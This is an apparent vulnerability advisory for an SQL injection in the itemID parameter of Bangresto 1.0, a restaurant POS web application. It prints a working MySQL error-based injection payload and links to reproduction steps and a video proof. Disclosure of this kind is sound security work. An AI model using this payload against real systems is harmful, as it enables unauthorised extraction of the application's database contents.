## Title: Bangresto 1.0 SQLi ## Author: nu11secur1ty ## Date: 12.16.2022 ## Vendor: https://axcora.com/, https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html ## Demo: https://axcora.my.id/bangrestoapp/start.php ## Software: https://github.com/mesinkasir/bangresto ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Bangresto ## Description: The `itemID` parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the itemID parameter, and a database error message was returned. The attacker can be stooling all information from the database of this application. ## STATUS: CRITICAL Vulnerability [+] Payload: ```MySQL --- Parameter: itemID (GET) Type: error-based Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML) Payload: itemID=(UPDATEXML(2539,CONCAT(0x2e,0x7171767871,(SELECT (ELT(2539=2539,1))),0x7170706a71),2327))&menuID=1 --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Bangresto) ## Proof and Exploit: [href](https://streamable.com/moapnd) ## Time spent `00:30:00`
